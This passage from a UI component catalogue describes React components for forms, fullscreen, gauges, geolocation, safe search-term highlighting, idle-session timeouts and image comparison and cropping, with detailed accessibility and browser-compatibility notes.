fetchable; questionnaire is listed and 404s) and grepping the sources: placeholder-shown is a zero hit across every one of them. Its input is 768 bytes of styled element. Its label is 724 bytes whose only peer- rule is peer-disabled — it styles a label that sits above a field, never one that moves into it. Its field kit stacks label, control and description vertically, which is the layout this replaces rather than a version of it. The eight matches for "floating" in the whole registry are sidebar's variant="floating", a rounded panel with a shadow. So an agent asked for this writes the CSS itself, and the CSS has one trap in it. The trap is that :placeholder-shown only matches while a placeholder is actually being shown, and an input with no placeholder attribute is never showing one. Write the obvious peer-[:not(:placeholder-shown)] rule against a field labelled only by the floating label, and the selector matches nothing, the label sits floated from the first paint, and the field looks permanently filled. The fix is the part that looks like a mistake in the source: the input carries placeholder=" ", one space, painted transparent — a placeholder that exists so the selector has something to track, and shows nothing because the label is standing where it would be. It is also why placeholder is the one native prop this component does not forward; accepting one would silently break the mechanism at the call site rather than here. Everything else follows from the float being CSS rather than state. There is no onFocus/onBlur pair and no isFilled boolean, so it is correct controlled or uncontrolled, correct on the server and before hydration with no first-focus jump, and correct after browser autofill — the case that catches JS implementations, because Chrome fills the value without firing the events a hand-rolled version is listening for and the label stays sitting on top of the filled text. It also survives a value arriving from anywhere else: a form library resetting the field, a draft restored from storage, a paste. It stays a real input with a real label. The label is a <label htmlFor> rather than an absolutely positioned span, so screen readers announce the field by name, clicking the label focuses the input, and voice control can address it — where a fake overlay leaves the input nameless. The id defaults to a stable React.useId() so the association holds without you inventing one, and the ref is forwarded to the <input> itself, so type, name, value/onChange, required, disabled, autoComplete, maxLength, native validation and react-hook-form all work unchanged. error paints the destructive border, ring and label and sets aria-invalid, so an invalid field is not signalled by colour alone once you pair it with a message. One thing worth knowing before you drop it onto a coloured surface: the label breaks the border line by painting bg-background behind itself, which is right on the page and wrong on a card or a tinted panel, where that one class becomes bg-card. The component is copied into your project, so it is a one-word edit — but it is the sort of thing that is easier to read here than to notice on screen. Within pulld it is the compact form field the others sit next to: password-input adds the reveal toggle, search-input the clear affordance, char-counter the length underneath, and form-error-summary collects what these fields report. One file, zero dependencies — no animation library, no Radix, no icons — and every colour is a shadcn token (border-input, ring, background, muted-foreground, destructive), so light and dark follow on their own.
The block that appears above a form after a failed submit — "There are 3 problems with your submission" followed by one link per error that jumps focus straight to the field it came from. Use it on any form long enough that the broken field can be off screen: signup and checkout, account or billing settings, a multi-step wizard, an onboarding or application form, an admin create/edit page, or anywhere a server action returns field errors. Common asks it answers: "error summary", "validation summary", "show all form errors at the top", "list validation errors with links to fields", "focus the first invalid field on submit", "accessible form errors", "GOV.UK-style error summary", "react-hook-form errors object to a summary". shadcn/ui's form ships per-field messages only — the summary, the focus move, and the field links are left to you, and they are the parts that decide whether a keyboard or screen-reader user can actually find what broke. Pass an `errors` array of `{ fieldId, message }` mapped straight from react-hook-form's formState.errors, a zod flatten(), or a server action's fieldErrors; an empty array renders nothing, so it can sit in the JSX unconditionally. Give it `focusKey={formState.submitCount}` and a second submit that fails identically still announces. Accessibility is the whole point: it announces by moving focus to a container labelled by its heading, rather than through a live region — a live region reads the messages but leaves focus behind, so the links the user needs are somewhere they must go hunting for, and doing both reads everything twice. Each message links to its field and focuses it on click, falling back to the first focusable control inside when the id names a wrapper (radio group, checkbox group, custom combobox); errors with no fieldId render as plain text for form-level failures like a declined card. The container uses a plain focus ring, not focus-visible, because focus arrives programmatically and browsers do not reliably paint it otherwise. headingLevel keeps the heading in your page outline. Styled with shadcn destructive/ring tokens for light and dark themes; lucide-react is the only dependency. Distinct from toast, which pops a transient message, and from an inline field message, which only helps once you have already found the field.
A button that shows one element — a chart, a data table, a map, a video player, a preview pane — full-screen on its own, and keeps telling the truth about it afterwards. Reach for it wherever a panel is too small for the thing inside it: a dashboard chart somebody wants to read properly, a wide data table or log viewer, an embedded map, a code or markdown preview, an image or PDF viewer, a diagram or canvas, a kiosk or presentation view, a video or camera feed. Common asks it answers: "fullscreen button react", "react fullscreen component", "shadcn fullscreen", "requestFullscreen react", "expand chart to fullscreen", "fullscreen a div react", "maximize panel react", "react-full-screen alternative", "screenfull.js alternative", "use-fullscreen hook", "exit fullscreen button stuck", "fullscreen state wrong after escape", "escape key breaks my fullscreen toggle", "document.fullscreenElement react", "fullscreenchange listener react", "requestFullscreen not working", "requestFullscreen NotAllowedError", "fullscreen permissions policy iframe", "requestFullscreen ios safari not working", "element fullscreen iphone", "fullscreen api safari prefix", "webkitRequestFullscreen", "全画面 ボタン react", "フルスクリーン 切り替え react", "Escape で全画面が解除されると表示がずれる". Official shadcn/ui has nothing of the kind, and the measurement is not close. Fetching all sixty-three registry entries today (sixty-two are fetchable; questionnaire is listed and 404s on both style tracks) and grepping 255,796 bytes of source: requestFullscreen, exitFullscreen, fullscreenElement, fullscreenchange, fullscreenEnabled, webkitRequestFullscreen, allowFullScreen and the bare word fullscreen are every one of them zero hits. The four matches for "expand" are sidebar's expanded/collapsed state and a has-aria-expanded rule on a table row. So an agent asked for this writes it from scratch, and the version it writes has a specific bug in it. The bug is a `const [isFullscreen, setIsFullscreen] = useState(false)` flipped inside the click handler. It demos perfectly. Then the user presses Escape — which is how most people leave full screen, along with F11 and the browser's own chrome — and none of those go through the button. The boolean stays true, the label reads "Exit fullscreen" over a windowed page, and clicking it now asks to *leave* a full screen nobody is in, so the button is stuck in the wrong state for good and no amount of pressing fixes it. The only real state is `document.fullscreenElement`, and the only way to stay level with it is to subscribe to `fullscreenchange` and re-read. That is what this does: entering never writes the state, it only asks — the event is the sole writer — so the label cannot drift from the browser, whatever route the user took out. The comparison is the half that is usually missed even by implementations that do subscribe. `!!document.fullscreenElement` is a property of the page, not of your element: put a fullscreen button on both a chart and a table, expand the chart, and the table's button lights up as well and offers to exit something it does not own. The state here is `document.fullscreenElement === target`, and `exit()` refuses to act unless that holds, because `exitFullscreen` is document-wide and would otherwise cancel a full screen that belongs to another component. Two things about the request itself. It is called with nothing awaited ahead of it, because the browser only grants it while the click is still the active user gesture — measure the element or fetch something first and it rejects with NotAllowedError, in production, on a button that worked in development where the await was fast. And the returned promise really does reject: an iframe embedded without `allow="fullscreen"` has the method and is refused by permissions policy, which arrives asynchronously, after the gesture is spent. That leaves the environment the API is simply not in. On an iPhone, Safari has element full-screen for `<video>` and nothing else — `requestFullscreen` is absent, not refused — so a button that assumes the method exists is dead on the most common phone on the web, silently, with nothing in the console. Rather than detect and disappear, this keeps working by other means: where the API is missing, or refused, it covers the viewport with CSS instead and reports `mode: "css"` so you can tell the difference. That fallback is written as inline styles rather than class names on purpose — a panel wearing `h-64 max-w-md rounded-lg` ignores `position: fixed; inset: 0` and stays a small rounded card in the corner, because an explicit height wins over an over-constrained box — and every property's previous inline value is saved and put back on exit. It also paints a backdrop when the target's own background is transparent, taken from the nearest ancestor that paints one so it stays right in both themes, and it wires Escape by hand, since the real API's Escape is not there to inherit. Unmounting restores the target: the alternative is a panel pinned over the page with no way back. Feature detection never reaches the render, so the server and the first client render agree and nothing hydrates twice; `isFullscreenSupported` and the hook's `isSupported` are there for when you want to hide your own control, and both read the permissions policy rather than just the method. The state is carried by `aria-pressed` — an icon swap is not something a screen reader reports — the icon is `aria-hidden`, `iconOnly` keeps the label as the accessible name instead of dropping it, focus-visible rings are the shadcn ones, and it is a real `<button type="button">` so it will not submit the form it sits in. Older Safari's `webkit` spellings are handled for the request, the exit and the event. The API: `targetRef` is the element to expand, plus `enterLabel`, `exitLabel`, `iconOnly`, `cssFallback` and `onFullscreenChange` — which fires on every flip including the ones the user made with Escape, and is not called `onChange` because that is a native attribute of `<button>`. `useFullscreen(targetRef)` returns `{ isFullscreen, mode, isSupported, enter, exit, toggle }` for a control you lay out yourself. One thing worth knowing before you place it: put the button **inside** the element it expands. Everything outside the full-screen element is not rendered, so a button sitting beside the chart vanishes the moment it is pressed, taking the keyboard focus with it and leaving Escape as the only way back. Within pulld it sits next to the components that make a panel readable rather than bigger: image-comparison and image-crop work on one image, scroll-shadow and virtual-list handle a pane that is too small to show everything, and print-button is the other way of getting content out of a cramped box. Distinct from a dialog: this is the browser's own full screen over the whole display, with no overlay, no focus trap and no scrim. One file, one dependency (lucide-react for the two icons), and every colour is a shadcn token, so light and dark follow on their own.
A semicircular (half-circle) gauge or dial that shows one measurement inside a known range, drawn as an SVG arc that fills from the left and animates to its new position. Reach for it when the number is a *level being read*, not a task being finished: CPU, memory, load average or server utilisation on an infrastructure dashboard; disk, storage or bandwidth used against a plan; API rate-limit, quota or credit consumption; a health, uptime, performance, SEO or Lighthouse-style score; a speedometer or throughput readout; temperature, humidity, pressure or a sensor reading on an IoT panel; battery, signal or capacity level; a credit, risk, trust or fraud score; NPS and satisfaction; and KPI, quota or target attainment on a sales or revenue dashboard. Common asks it answers: "gauge component", "gauge chart react", "semi circle gauge", "half circle progress", "speedometer component", "dial component", "meter component react", "radial gauge", "arc progress", "score gauge", "KPI gauge", "utilization gauge", "shadcn gauge", "shadcn meter", "shadcn speedometer", "tailwind gauge component", "react-gauge-chart alternative". Official shadcn/ui has no gauge, meter, dial or speedometer, and the two items that look adjacent are not substitutes: `progress` is a linear bar that means *how far along*, and `chart` is a Recharts wrapper — a charting library you install (recharts) and configure with data series, which can be bent into a radial bar but arrives as a chart rather than as a labelled single-value readout. The distinction is also the accessibility one, and it is the reason this is not a progress ring: a gauge exposes `role="meter"` with `aria-valuemin`, `aria-valuemax` and `aria-valuenow`, which is what assistive technology reads as "a measurement within a range", where `role="progressbar"` announces a task advancing toward completion. Getting that backwards is the single most common mistake in hand-rolled dials, and it is invisible until someone uses a screen reader. Set `segments` to change the arc colour at thresholds — green under 60, amber under 85, red to 100 — passing shadcn/Tailwind colour classes so the zones follow light and dark mode; omit it for a single primary-coloured dial. `min`/`max` set the scale, `showValue` renders the number in the centre, `formatValue` formats it (percent, bytes, ms, currency), `label` adds a caption, and `children` replaces the centre entirely when you want a sparkline, a delta or an icon in there. One file, no charting library, no icon package — nothing beyond your `cn` util.
A "use my current location" button that is right about why it didn't. It asks the device for a position and, when that is refused, works out which of four unrelated things the refusal actually was — because the browser reports all four with the same number — so what it puts on screen is advice that can work rather than advice that cannot. Reach for it wherever typing an address is the worst part of the page: the "find my address" step of a checkout, signup, delivery or booking form; a store, branch, ATM, pharmacy, restaurant or EV-charger finder; a weather, air-quality, pollen, tide or prayer-times view that ought to open on where you already are; the initial centre of a map; a check-in, attendance, inspection or field-service app; a taxi, ride or courier pickup point; local search, classifieds, jobs or property listings; a "near me" radius on events or dating; a shipping, delivery-window or tax estimate; and any first run that would otherwise begin by asking somebody which city they are in. Common asks it answers: "geolocation react", "use my current location button", "get user location react", "navigator.geolocation react", "useGeolocation hook", "react-geolocated alternative", "shadcn geolocation", "current location button shadcn", "getCurrentPosition react", "watchPosition react hook", "request location permission react", "geolocation permission denied react", "user denied geolocation how to ask again", "how to re-request location permission", "geolocation prompt not showing", "getCurrentPosition not working on localhost", "geolocation not working over http", "geolocation requires https", "getCurrentPosition hangs forever", "geolocation timeout default infinity", "location spinner never stops", "clearWatch react", "geolocation battery drain", "navigator.permissions.query geolocation", "check if location is blocked without prompting", "geolocation in iframe not working", "Permissions-Policy geolocation". The reason to install one rather than write it is that the platform answers four different questions with one number. The specification's "request a position" algorithm calls back with PERMISSION_DENIED when a Permissions Policy forbids the feature, again when the page is not a secure context, and again when the stored permission is "denied" — and a prompt the user closes without answering arrives the same way. The version everyone writes maps that code to "you have blocked location access, turn it back on in your browser settings", which is true in one of those cases and misleading in the other three. On the http staging box on an internal IP there is no setting to change and no prompt was ever shown. Inside an <iframe> without allow="geolocation", the same. And somebody who merely dismissed the dialog is told they blocked something they did not. So the code is never taken at face value. Two of the causes are settled before calling at all, which is also what stops a doomed request being made: the secure-context check — needed because the attribute is not [SecureContext] and so is present, and useless, on every http origin, which is why the usual feature detect passes there — and document.permissionsPolicy.allowsFeature("geolocation") where a browser has it. The rest is decided by reading the stored state with navigator.permissions.query, which answers without prompting: still "prompt" after a refusal means the dialog was dismissed, "granted" means the block came from above the user, and "denied" means it is the user's own. Only the first of those is offered a retry, because the specification is explicit that once the state is "denied", getCurrentPosition calls back immediately without prompting — a "Try again" button there cannot work, and returns the same error instantly for as long as the page stays open. What it offers instead is the browser's own site settings, and it subscribes to the PermissionStatus change event, so the moment somebody flips that switch the dead end clears itself and the button works again with no reload. Two more defaults are corrected on the way past. timeout is Infinity in the browser, so the hand-written version hangs — no success, no failure, spinner still turning — on a phone indoors, in a lift or in aeroplane mode; this one always sends a finite deadline. And that deadline does not cover everything, which is why the button separates "waiting for permission" from "finding your location": by the specification the time spent waiting for the document to become visible and for the permission to be answered is not included in timeout, so an unanswered dialog is an unbounded wait — correctly, because a person deciding whether to hand over their location is not a fault and must not be cut off and told it failed. Watch mode registers with watchPosition and hands it back with clearWatch on unmount, on clear() and before any restart, which is the leak with no symptom on screen: an abandoned watch keeps the location hardware awake for the life of the page, long after the map that wanted it was navigated away from. Official shadcn/ui has nothing here — geolocation, getCurrentPosition, watchPosition, clearWatch, coords, navigator.permissions and PermissionStatus appear nowhere in its components. Within pulld it is the one that has to ask for something: network-status works out whether the network is really there, wake-lock-toggle holds a resource the browser can take back silently, and this one handles the permission that can be refused for good. It sits naturally beside a map or an address form, and alongside country-select, phone-input or timezone-select on the same form. useGeolocation() is exported for a control of your own, handing back phase, position, failure, permission, isSupported, request() and clear(); isGeolocationSupported() is exported too and reports only that the API exists — deliberately not that it will work, which on http is a different question. The failure object carries a cause, the browser's own code, a retryable flag and wording you can override per cause, so a design of your own can draw the same distinctions. The message sits in an always-mounted polite live region, because a live region inserted together with its text is not reliably announced and would be silent for exactly the people relying on it. The button uses aria-disabled rather than disabled, so a refusal keeps its place in the tab order and can still explain itself, points at the message with aria-describedby, and carries aria-busy while it waits. Every colour is a shadcn token, so it follows light and dark, and the whole thing is one file.
Text with the parts matching a search query highlighted, built so that neither the text nor the query can break it — and both of them routinely arrive from a URL query string. Reach for it wherever somebody has just typed something and needs to see where it landed: search results and their snippets, a filtered list or a table under an active filter, in-page and in-document find, a docs or knowledge-base search page, log and diff viewers, autocomplete and combobox options, a tag or user picker, admin record lookup, and the "showing 12 results for …" line above any of them. Common asks it answers: "highlight search term react", "highlight matching text react", "react-highlight-words alternative", "highlight-words-core", "react highlighter component", "shadcn highlight text", "highlight search results react", "mark tag react", "wrap matches in mark react", "highlight substring in string react", "highlight multiple words react", "case insensitive highlight react", "highlight text without dangerouslySetInnerHTML", "highlight search term xss", "escape regex special characters search", "new RegExp from user input invalid regular expression", "search query with special characters breaks", "highlight accent insensitive search", "remove diacritics search javascript", "normalize NFD strip combining marks", "highlight overlapping matches", "find in page highlight react", "scroll to current match react", "検索ワード ハイライト react", "該当箇所を光らせる", "検索結果 マーカー 表示", "全角 正規表現 エスケープ 検索". The reason to install one rather than write it is that the three-line version is a security bug. `text.replace(query, '<mark>' + query + '</mark>')` into dangerouslySetInnerHTML is what everybody writes first, and it injects HTML from two directions at once — the body text and the search term, which on a results page is usually `?q=` straight off the address bar. This never builds a string of HTML at all. It cuts the text into runs and React renders them, so a `<script>` in either input is characters on screen and nothing else. The query is never compiled to a regular expression either, which is the other half of the same problem and the one that shows up in the bug tracker rather than the security report. `C++`, `a.b`, `$100`, `(draft)` and `[WIP]` are all ordinary things to type into a search box and all of them are also regex syntax: `new RegExp(q)` throws `Invalid regular expression` on some and, worse, quietly matches the wrong text on others — search `a.b` and watch `axb` light up. The usual patch is an escaping helper copied from a gist. Here there is nothing to escape, because matching is `indexOf` over a folded copy of the string. That folded copy is where the real work is. Matching has to ignore case and accents — `café` should be found by `cafe` — but the highlight has to be drawn on the original text, and the two strings do not have the same length. Stripping a combining mark shortens it; `İ` lowercases to two characters and lengthens it; `Σ` and its word-final form `ς` are the same letter written two ways, so `ΕΛΛΑΣ` is invisible to anyone typing `ελλάς`. An offset found in one string and used in the other is wrong by a few characters, and the damage lands next to the highlight rather than in it — a duplicated or eaten letter somewhere along the line, where nobody is looking. So no offset is ever converted: the text is split into grapheme clusters with `Intl.Segmenter`, each is folded on its own, and every match is carried back through a recorded boundary. Concatenating the output always reproduces the input exactly, whatever the query. Working in graphemes is also what stops it tearing a character in half. A flag is two regional indicators, a thumbs-up with a skin tone is a base plus a modifier, and a `<mark>` drawn around the first half of either one splits it on screen — the flag falls apart into two letters, the modifier is orphaned beside the thumb. A match that covers only part of a character is passed over and the search carries on from the next position. Multiple terms are handled the way a reader expects rather than the way the loop falls out. A string query is split on whitespace, because that is what the search backend did with it and a phrase that never occurs verbatim would otherwise highlight nothing at all; pass an array to match exact phrases instead. Terms that overlap — `ab` and `bc` both land on `abc` — are merged into one highlight, since a `<mark>` cannot be nested inside another and emitting the shared letter twice corrupts the text. Matches that merely touch are deliberately left as two, so a find bar still counts what the reader can see. It is a real `<mark>` element rather than a styled span, which matters on somebody else's machine: in Windows high contrast mode the browser replaces author colours with system ones and knows to give a `<mark>` the system's own highlight pair, while a span painted to look identical is handed the ordinary page colours and every highlight on the page silently disappears for the readers who turned high contrast on in order to see things. The user-agent `color: black` that ships with `<mark>` is overridden so the text keeps the colour it already had instead of turning black in dark mode, and the highlight carries no horizontal padding, which would otherwise re-space the line as the reader types. The text itself is never cut down or rewritten, so screen readers, find-in-page, selection and copy all see exactly the string that was passed in. For a find bar with next and previous buttons, `activeIndex` marks one match as the current one: the marks carry `data-match-index`, the active one carries `data-active="true"` and `aria-current`, and bringing it into view is `container.querySelector('[data-active="true"]')?.scrollIntoView()`. `splitHighlight(text, query, options)` is exported on its own — a pure function from a string and a query to a list of runs — for counting matches, for highlighting into a canvas or a PDF, or for testing your own rendering. Official shadcn/ui has nothing for this, and the measurement is not close: fetching all sixty-three registry entries today (sixty-two are fetchable, questionnaire alone 404s, and nine of the newer ones are served only on the new-york-v4 style track) and concatenating the component sources gives 211,787 bytes, in which `<mark`, `Highlight`, `escapeRegExp`, `Intl.Segmenter`, `normalize("NFD")`, `searchWords`, `caseSensitive` and `matchDiacritics` are every one of them zero hits. The two occurrences of the word are `data-highlighted`, the Radix menu-item state, which is a different thing entirely. Within pulld it is the display half of search: search-input is where the query is typed, command-palette highlights the fuzzy subsequence it matched inside its own option list, and this is the one you point at arbitrary body text. It composes with read-more and middle-truncate on the same line of a result, and sits naturally in a table cell, a tree-view label or a diff-view row. No dependencies, and no hooks — so it renders inside a React server component with no "use client" of its own and ships no client JavaScript, which is the common case, because search results have usually just been fetched on the server.
An inactivity timeout with a warning before it fires: it watches for the user going away, puts up a "you will be signed out in 1:59" dialog with a live countdown, lets them stay with one click, and keeps every open tab agreeing about when the session actually ends. Reach for it on any screen behind a session that expires on its own: banking, brokerage and payments, health records and patient portals, insurance and claims, payroll and HR, government and tax filing, admin consoles, CRM and EHR, anything under a PCI DSS, HIPAA, SOC 2 or internal policy that mandates an idle logout, and any internal tool where a shared or unattended machine is a real possibility. Common asks it answers: "react idle timer", "react-idle-timer alternative", "session timeout warning react", "auto logout after inactivity react", "inactivity timeout react hook", "detect user inactivity react", "useIdleTimeout", "warn user before session expires", "session expiry countdown dialog", "keep me signed in prompt", "next.js auto logout", "idle detection react", "cross tab session timeout", "BroadcastChannel session sync", "logout user after 15 minutes of inactivity", "shadcn session timeout dialog", "stay signed in modal". The reason to install one rather than write a setInterval is that counting elapsed time is the wrong shape for this problem, and it fails in the exact situation the component exists for. A browser throttles a background tab's timers to once a minute or slower, so a counter that decrements per tick falls behind real time by however long the tab was hidden — and it falls behind in the dangerous direction, reading high. The dialog claims two minutes of grace when the session died ninety seconds ago, and the user clicks "stay signed in" on a session the server has already dropped. Everything here derives from one timestamp instead: when the person was last seen. Nothing is accumulated, so nothing can drift; the state is read off the clock at every wake, whenever the tab becomes visible again, on focus, and on a bfcache restore, which is what turns "the counter was frozen while you were away" into "the counter was right all along". Timers are also never armed for the whole wait, because a delay over 2**31-1 ms silently wraps and fires immediately — a session measured in days would sign the user out on page load — so the wake is capped and the deadline re-read, which covers the overflow, a laptop waking from sleep, and an NTP correction with one rule. The second thing a page-local timer cannot do is see the other tabs. Someone with the app open in three tabs is working in one of them; the other two observe no events at all and each will announce, on its own authority, that the session has expired — so whichever tab they return to has signed them out of work that was never idle. Activity is therefore broadcast, over BroadcastChannel where it exists and a localStorage write where it does not, since the storage event fires in the other tabs, which is exactly the audience. What travels is the moment a person was last seen rather than a computed deadline, because two tabs may be configured with different timeouts and the sighting is the fact; the merge rule is to take the later one, since a tab that saw activity saw a person while a tab that saw none is only reporting that nothing happened in front of it. Signing out is broadcast the same way, so one tab ending the session ends it everywhere. The broadcast is throttled: a message per mousemove would be a storm across every open tab, and being a few seconds stale about a timeout measured in minutes changes nothing. Passive activity deliberately does not dismiss the warning. Once the prompt is up, only a real answer puts the deadline back — a dialog that a mouse move clears cannot be read at all, because reaching for its button clears it, and the question the warning asks is whether a person is still there, which a trackpad brushed by a sleeve does not answer. Before the prompt appears, every configured event counts, listened for passively and in the capture phase so that a component calling stopPropagation on its own pointer events does not make its part of the page look deserted, and so that scrolling inside a pane — a scroll event does not bubble — still counts as being alive. What it does not claim to be is enforcement. Hidden-tab timers are throttled, a machine asleep through the deadline signs out when it wakes rather than on time, and any of it can be turned off from a console. The server's session lifetime is the security boundary; this is the courtesy that stops people losing work to it, and the two are meant to be kept in step. Official shadcn/ui has nothing in this area: across all sixty-three components, inactivity, auto-logout, session, BroadcastChannel, visibilitychange, localStorage, expiry, heartbeat and deadline are all zero hits — the three idle matches belong to attachment's upload state and the timeout matches to toast's own dismiss queue, neither of which is a session. Within pulld it is the counterpart to duration-input, which is the control for configuring an auto-logout window: the number that component produces is the timeoutMs this one counts down. It is distinct from countdown, which runs to a fixed public moment like a sale ending, where this deadline moves every time the user does something; from network-status, which also re-reads on visibilitychange but to re-probe a connection; and from unsaved-changes-guard, which interrupts a departure the user chose, where this one interrupts an absence nobody chose. The dialog is an alertdialog because it interrupts rather than being asked for, and focus lands on "stay signed in" rather than on "sign out now", so an Enter press already on its way to the page cannot end the session; Escape does the same as staying. The countdown is a role="timer" with live updates off, and a separate polite region carries the time at widening intervals — every minute, then thirty and ten seconds, then each of the final five — because a per-second announcement is a barrier rather than an aid, each one cutting off the last. useIdleTimeout() is exported for a dialog of your own, along with the small pure pieces it is built from, every colour is a shadcn token so it follows light and dark, and the whole thing is one file with no dependency beyond the icon.
A before/after slider: two images stacked in the same box with a divider you drag across them, so the second is revealed over the first instead of sitting next to it. Reach for it wherever a page has to show the same frame twice and the point is the difference: a photo edit or retouch shown against the original, an AI upscale, denoise, colourise, restore or background-removal result next to its input, a generative fill or inpainting demo, a model-A-vs-model-B output pair, a renovation or remodel gallery, before-and-after in a portfolio or case study, a design revision against the version it replaced, satellite or map imagery of the same place at two dates, a scan or microscopy image with and without processing, graphics settings or shader quality in a game, a screenshot in light and dark theme, and image compression quality (original against the optimised file). Common asks it answers: "before after slider", "before and after image component", "image comparison slider", "compare two images react", "split image slider", "image reveal slider", "drag to compare photos", "photo comparison component", "before/after react component", "img-comparison-slider alternative", "react-compare-image alternative", "react-compare-slider alternative", "shadcn before after", "shadcn image comparison". Official shadcn/ui has nothing for this and no combination of its parts gets there: slider is a Radix range primitive that knows nothing about images, aspect-ratio only holds a box at a shape, and carousel shows pictures one after another rather than one over the other. Distinct from diff-view, which compares two pieces of text line by line — this one compares two pictures of the same thing. Pass `before` and `after` and that is the whole setup: `before` lays out in normal flow and gives the pair its height, `after` is overlaid and clipped, and `beforeLabel` / `afterLabel` pin captions to the corners that disappear when their side is closed. It is uncontrolled by default (`defaultPosition`) and controlled by passing `position` with `onPositionChange`, which fires on every drag frame and key press. The interaction is a real range input covering the whole picture rather than a mousedown/mousemove pair, which is where hand-rolled versions come apart. Dragging works from anywhere on the image, a click jumps the divider, pointer capture keeps the drag alive when the cursor leaves the box, and touch and pen work without a second code path — none of which a mouse-event implementation gets, and it cannot be operated from a keyboard at all. Here the arrow keys move the divider by one percent, Page Up and Page Down by ten, Home and End go to the ends, and each press snaps to the step's own grid so a keyboard user lands on whole numbers instead of inheriting the fraction a drag left behind. Three details it settles that are invisible until they are wrong. The thumb is one pixel wide, because a range maps the pointer onto the track minus the thumb, and a default 16px thumb leaves the drawn divider drifting up to eight pixels from the finger near the edges. `touch-action: pan-y` keeps a vertical swipe scrolling the page, so an image that spans a phone screen is not a trap you cannot scroll past. And the input is `dir="ltr"` whatever the page direction, because 0 has to mean the left edge — a divider is a place on a picture, not a position in a line of text. Accessibility is the pair, not just the control: clipping is visual, so both images stay in the accessibility tree and a screen reader reads both alt texts, while the divider is a labelled slider that announces its position as a percentage. The focus ring is drawn on the visible handle through the transparent input, so it is themed rather than a browser outline over a photograph. Styled entirely with shadcn tokens (background, border, foreground, ring), so it follows light and dark mode, and it ships zero dependencies — no Radix, no icon package, one file.
The step that comes straight after a photo is chosen: the picture sits behind a frame of the shape the product needs, and you drag it about and pinch or scroll to zoom until the right part is in the window. Reach for it wherever an upload has to end up a fixed shape — a profile photo or avatar, a team or workspace logo, a cover or banner image, an OG/social preview card, a product or listing photo, a thumbnail for a video or article, a group or channel icon, an ID or document photo being squared up before it is sent, a header image in a CMS, and the crop step of any onboarding or import wizard. Common asks it answers: "image crop react", "image cropper component", "avatar cropper", "profile picture crop react", "crop image before upload", "react-easy-crop alternative", "react-image-crop alternative", "cropperjs alternative", "shadcn image crop", "shadcn avatar upload", "crop to square react", "circular crop avatar", "zoom and pan image react", "pinch to zoom crop", "canvas drawImage crop", "get cropped image as blob", "cropped image is offset", "crop is off by a few pixels", "crop coordinates wrong scale", "image rotated after upload", "photo sideways after crop", "exif orientation canvas", "createImageBitmap imageOrientation", "canvas blank on iphone", "canvas too large ios safari", "resize image in browser before upload", "createObjectURL memory leak", "canvas toBlob securityerror", "tainted canvas crop", "accessible image cropper", "crop image keyboard only", "画像 クロップ react", "アバター 切り抜き", "アップロード 前に リサイズ", "写真が横向きになる exif". Official shadcn/ui has nothing to build this from, and the measurement is not close: fetching every entry in its registry today — 63 listed, 62 fetchable, questionnaire is indexed and 404s on both style tracks — and grepping 212 KB of source, crop, naturalWidth, FileReader, createImageBitmap, drawImage, getContext, toDataURL, toBlob, imageOrientation, exif, devicePixelRatio, createObjectURL, setPointerCapture, pinch and the string <canvas are every one of them a zero hit. The only match for zoom anywhere is eleven occurrences of Tailwind's zoom-in-95 / zoom-out-95 overlay animation on dialogs and menus. Its aspect-ratio component is a six-line re-export of the Radix primitive that holds a box at a shape and knows nothing about a picture inside it, and avatar renders an image that has already been made square by somebody else. So an agent asked for a crop step builds it from a bare canvas, and the three things that make this hard are exactly the three it gets wrong. The first is that the coordinates on screen are not the coordinates being cut. A drag is measured in CSS pixels on a 320px-wide preview; the crop is taken from an 8000px original, and the factor between them has to be applied exactly once, in one direction. Applied the wrong way or against a frame width measured before a sidebar opened, the saved picture is offset from the one that was on screen — close enough to ship and wrong enough to notice. This keeps the value in the source image's own pixels ({ x, y, width, height }), so the crop survives a resize, a phone with a different screen and a round trip through a database, and derives the screen geometry from it rather than the other way round. The frame is measured with a ResizeObserver rather than once on mount, because a dialog or a sidebar changes its width without the window doing anything. The second is EXIF orientation, and it produces the bug report everybody recognises: the preview is the right way up and the saved avatar is lying on its side. A phone stores the photo in the sensor's orientation with a tag saying which way to turn it; browsers have applied that tag to <img> for years and drawImage of the same file has not always agreed, so the picture rotates somewhere between the box that was cropped and the canvas it was cut into. createImageBitmap(blob, { imageOrientation: "from-image" }) is the line that settles it, and here the result is checked against the preview before it is trusted — if the bitmap and the element disagree about which side is the long one, the element wins, because being faithful to what the user actually chose beats being upright. The third is that the output is otherwise unbounded. The obvious way to cut a rectangle out is a canvas the size of the source: for an 8000x6000 photo that is 48 megapixels, 192 MB of RGBA before anything is drawn, and the destination is a 256px avatar. iOS Safari does not throw there — it drops the backing store and hands back a blank image, or kills the tab. So the canvas is made at the size of the output and the crop is scaled into it in a single drawImage with high-quality smoothing, never allocating more than the picture actually wanted. Pass output={{ width: 512 }} for a slot you have to fill, or leave it and the longest side is capped at 2048; a crop is never upscaled, which would only make a bigger file out of the same detail. It is operable without a pointer, which is the part hand-rolled croppers skip and the reason a sign-up step becomes one a whole class of people cannot finish. The frame takes focus and answers the arrow keys (Shift for a longer step) and + / -, and under it are real range inputs — zoom, plus a horizontal and a vertical position that announce themselves as percentages — with the position pair sr-only until something in it has focus, so a screen reader always reaches them while a sighted keyboard user sees them appear only on tabbing in rather than facing two sliders that duplicate the arrow keys. Pointer capture keeps a drag alive past the edge of the frame, two-finger pinch zooms about the point between the fingers, a wheel zooms about the cursor through a non-passive listener (React's own wheel handler is passive, where preventDefault does nothing and the page scrolls behind the cropper), touch-action is none so the first drag on a phone does not scroll the page instead, and the browser's native image drag is turned off so a pan does not hand the file to whatever is underneath. The API: src takes a URL or the File/Blob straight from the input — pass the Blob when you have one, and the object URL is made and revoked for you, which is the leak every upload screen has. Then aspect, shape="round" to draw the frame as a circle (the export stays the rectangle: an avatar is displayed round by the page that shows it, and baking the circle in means a transparent PNG that grows black corners the first time something flattens it), maxZoom, grid, controls, disabled, crossOrigin, and labels for translation. value/defaultValue and onChange work controlled or uncontrolled over the crop rectangle, and onChangeEnd fires once a gesture settles — the one to re-encode a preview in, since onChange fires per pointer frame. The ref exposes getCrop, setCrop, reset, getImageSize, toCanvas, toBlob and toDataURL. coverCrop, clampCrop, cropZoom, zoomCropTo and outputSize are exported as pure functions, so the same rectangle can be re-cut on a server that has no DOM. There are deliberately no resize handles: free-form selection with eight grips is a different component doing a different job, and the frame here is the output shape. Within pulld it completes the upload path: file-dropzone takes the file in, this shapes it, upload-list shows the rows while it goes up. It sits beside image-comparison, which puts two pictures of the same thing under one divider, and signature-pad, the other component here that draws. One file, zero dependencies, not even an icon, and every colour is a shadcn token except the thirds guides, which are a 